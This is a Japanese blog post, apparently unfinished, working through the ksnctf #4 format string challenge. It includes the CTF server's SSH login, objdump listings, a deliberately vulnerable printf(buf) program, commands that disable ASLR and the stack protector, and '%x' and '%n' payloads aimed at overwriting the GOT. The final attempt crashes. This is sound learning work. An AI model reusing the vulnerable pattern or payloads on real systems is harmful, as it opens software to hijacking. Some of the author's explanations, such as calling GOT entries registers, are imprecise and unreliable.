はじめに
ksnctf #4の仕組みを理解する為に、リバースエンジニアリングっぽいことをして手元で試してみたかった記録です。(未完
やっていることはformat string attack(書式文字列攻撃)。簡単に言うと、**printfのフォーマット文字列の文字列ごと外部から変更可能なコードだと、アセンブラを覗いて好きなデータを覗いたり実行したり出来ちゃうよ!**って話です。
ksnctf #4の概要
以下にアクセスした直下にq4というバイナリがあります。
SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49
こちらのコードがfgetsで取得した値をそのままprintfにぶち込んでる
⇒その後に呼ばれるputcharのjmp先を本来呼ばれないはずのfopenに書き換えて、アクセス権の無いファイルを開いてしまおう!
という問題でした。
実際にポイントとなるアドレスはこちら。
08048474 <putchar@plt>:
8048474: ff 25 e0 99 04 08 jmp *0x80499e0
804847a: 68 08 00 00 00 push $0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
08048484 <fgets@plt>:
8048484: ff 25 e4 99 04 08 jmp *0x80499e4
804848a: 68 10 00 00 00 push $0x10
804848f: e9 c0 ff ff ff jmp 8048454 <_init+0x30>
...
080484b4 <printf@plt>:
80484b4: ff 25 f0 99 04 08 jmp *0x80499f0
80484ba: 68 28 00 00 00 push $0x28
80484bf: e9 90 ff ff ff jmp 8048454 <_init+0x30>
先頭のjmpで参照しているレジスタのアドレスがfgetsが0x80499e4, printfが0x80499f0。
入力で使われるのはfgetsなので、そのアドレス+6バイトのところにprintfで参照しているレジスタのアドレスが来る計算となります。
そこに"putcharの参照するレジストリを0x80499f0から別の場所にを書き換える処理"の文字列をぶち込むようにすればいいという理解でいます。
ksnctfの問題に対してリバースエンジニアリング的なことをしてみる。
作成コード
ksnctfの問題で出ていたオブジェクトのobjdump結果を元に作ってみました。
コメントのアドレスは元ネタのq4バイナリをobjdumpした際のアドレス。
fgetsの後のprintfで書式文字列攻撃をしていたからこんな感じだと思うんですよね。
通常はfopenが絶対呼べないコードですが、なるほど確かにメモリ配置を把握出来て、最初のfgetsで入力した文字列を使ってそこにアクセスできるなら、fopenの実行が可能になりそう。
# include <stdio.h>
# include <string.h>
int main(int argc, char*argv[]) {
char buf[1024]={0};
/*80484c4 <puts@plt>*/
printf("What's your name?\n");
/*8048484 <fgets@plt>*/
fgets(buf, sizeof(buf), stdin);
/*80484b4 <printf@plt>*/
printf("Hi, ");
/*80484b4 <printf@plt>, 書式文字列攻撃*/
printf(buf);
/*8048474 <putchar@plt>*/
putchar('\n');
/*8048681 <main+0xcd>*/
while(1) {
/*80484c4 <puts@plt>*/
puts("Do you want the flag?");
/*8048484 <fgets@plt>*/
if(fgets(buf, sizeof(buf), stdin) == NULL) break;
/*80484e4 <strcmp@plt>*/
int ret = strcmp(buf,"no\n");
if(ret == 0) {
/*80484c4 <puts@plt>*/
puts("I see. Good bye.");
break;
}
if(ret != 0) {
continue;
}
/*80484a4 <fopen@plt> ~*/
FILE * fp = fopen("flag.txt", "r");
fgets(buf, sizeof(buf), fp);
printf("%s", buf);
}
return 0;
}
※投稿してから思ったけどfopen処理後にbreakしてないな(笑)
コンパイルしてみる。
動作環境はUbuntu18.04、gccのバージョンは7.3.0です。
コンパイルオプションやカーネル設定も重要になります。
というのも上記のような攻撃に対応するためちゃんとkernel, コンパイラで制御が入っているから。
例えばgccのstack-protectorオプションでスタック破壊を検出する仕組み(カナリアというそうです)が入っています。
参考: バッファオーバーフロー: #5 運用環境における防御
というわけでこんな感じでコンパイル。
$ sudo sysctl -w kernel.randomize_va_space=0
$ gcc -z execstack -fno-stack-protector main.c -o q4
randomize_va_spaceはASLRという機能に関する設定で、こちらはプログラムに展開されるデータの配置をランダムにする設定。
無効⇒objdumpと同じ配置になるということですかね。
また、execstackはスタック実行可能フラグを設定するもの。
こうやって見るだけでも、色々な脆弱性対応がデフォルトで行われているんですね。
また新しいgccは優秀で、format string attackが出来る脆弱コードには警告が出るようになっていました。素晴らしい!
main.c: In function ‘main’:
main.c:15:9: warning: format not a string literal and no format arguments [-Wformat-security]
printf(buf);
動作を見てみる
記事と同じ理屈で実験。
私の手元でbuildした際は、printfとfgetsの参照しているレジスタアドレスの差は4バイトでした。なのでfgetsの入力を%pした際の4番目が実際にfgetsで書き込まれる値となるはず。
0000000000000670 <putchar@plt>:
670: ff 25 32 09 20 00 jmpq *0x200932(%rip) # 200fa8 <putchar@GLIBC_2.2.5>
676: 68 00 00 00 00 pushq $0x0
67b: e9 e0 ff ff ff jmpq 660 <.plt>
0000000000000690 <printf@plt>:
690: ff 25 22 09 20 00 jmpq *0x200922(%rip) # 200fb8 <printf@GLIBC_2.2.5>
696: 68 02 00 00 00 pushq $0x2
69b: e9 c0 ff ff ff jmpq 660 <.plt>
00000000000006a0 <fgets@plt>:
6a0: ff 25 1a 09 20 00 jmpq *0x20091a(%rip) # 200fc0 <fgets@GLIBC_2.2.5>
6a6: 68 03 00 00 00 pushq $0x3
6ab: e9 b0 ff ff ff jmpq 660 <.plt>
試してみます。
echo -e "\x32\x09\x20,%x,%x,%x,%x,%x,%x,%x,%
x" | ./q4
What's your name?
Hi, 2 ,202c6948,0,0,3abbb4c0,0,f132f7f8,1f6573f8,2c200932
うまく入力した中身が参照出来ている
…ってあれ?表示位置が8バイトだ。まあじゃあ8バイトずらすことになるのか。しかも謎の2cがついてる。まあ多分大丈夫だろう。
また、先頭4byte分空白がありますね。ということは飛びたい位置-4でいいのかな。
そしてfopen周辺は0x08d2(2258)。
00000000000007ea <main>:
7ea: 55 push %rbp
7eb: 48 89 e5 mov %rsp,%rbp
... fgetsの周り
83b: e8 60 fe ff ff callq 6a0 <fgets@plt>
840: 48 8d 3d 7f 01 00 00 lea 0x17f(%rip),%rdi # 9c6 <_IO_stdin_used+0x16>
847: b8 00 00 00 00 mov $0x0,%eax
84c: e8 3f fe ff ff callq 690 <printf@plt>
851: 48 8d 85 f0 fb ff ff lea -0x410(%rbp),%rax
858: 48 89 c7 mov %rax,%rdi
85b: b8 00 00 00 00 mov $0x0,%eax
860: e8 2b fe ff ff callq 690 <printf@plt>
865: bf 0a 00 00 00 mov $0xa,%edi
86a: e8 01 fe ff ff callq 670 <putchar@plt>
...jumpしたいところ周辺
8d0: 75 4f jne 921 <main+0x137>
8d2: 48 8d 35 1d 01 00 00 lea 0x11d(%rip),%rsi # 9f6 <_IO_stdin_used+0x46>
8d9: 48 8d 3d 18 01 00 00 lea 0x118(%rip),%rdi # 9f8 <_IO_stdin_used+0x48>
8e0: e8 db fd ff ff callq 6c0 <fopen@plt>
8e5: 48 89 45 f0 mov %rax,-0x10(%rbp)
8e9: 48 8b 55 f0 mov -0x10(%rbp),%rdx
8ed: 48 8d 85 f0 fb ff ff lea -0x410(%rbp),%rax
よし、ここから導きだされる実行オプションは…これだ!
`echo -e "\x32\x09\x20%2254x%8\$n" | ./q4
What's your name?
Hi, 2 (スペース中略)
Segmentation fault (core dumped)``
なんでだー!
うーん、多分他にもgccやkernelのオプションでうまくガードしているのかな。詳しい方コメントください!
まあ攻撃の仕組みはなんとなくわかったから満足
最後に
というわけで、format string attackと、ついでにアセンブラを読んでリバースエンジニアリングしてみた話です。
こういった攻撃を知ることもそうですし、ちゃんと意識せずともLinuxの仕組みで攻撃対策がされていることを知ることが出来たのが収穫でした。
脆弱性対策ってほんと大事。
参考
ksnctf 4 Villager A 300pt
GOT overwrite ~ ksnctf #4 Villager A ~
format string attackによるメモリ読み出しをやってみる
ASLRとKASLRの概要
バッファオーバーフロー: #5 運用環境における防御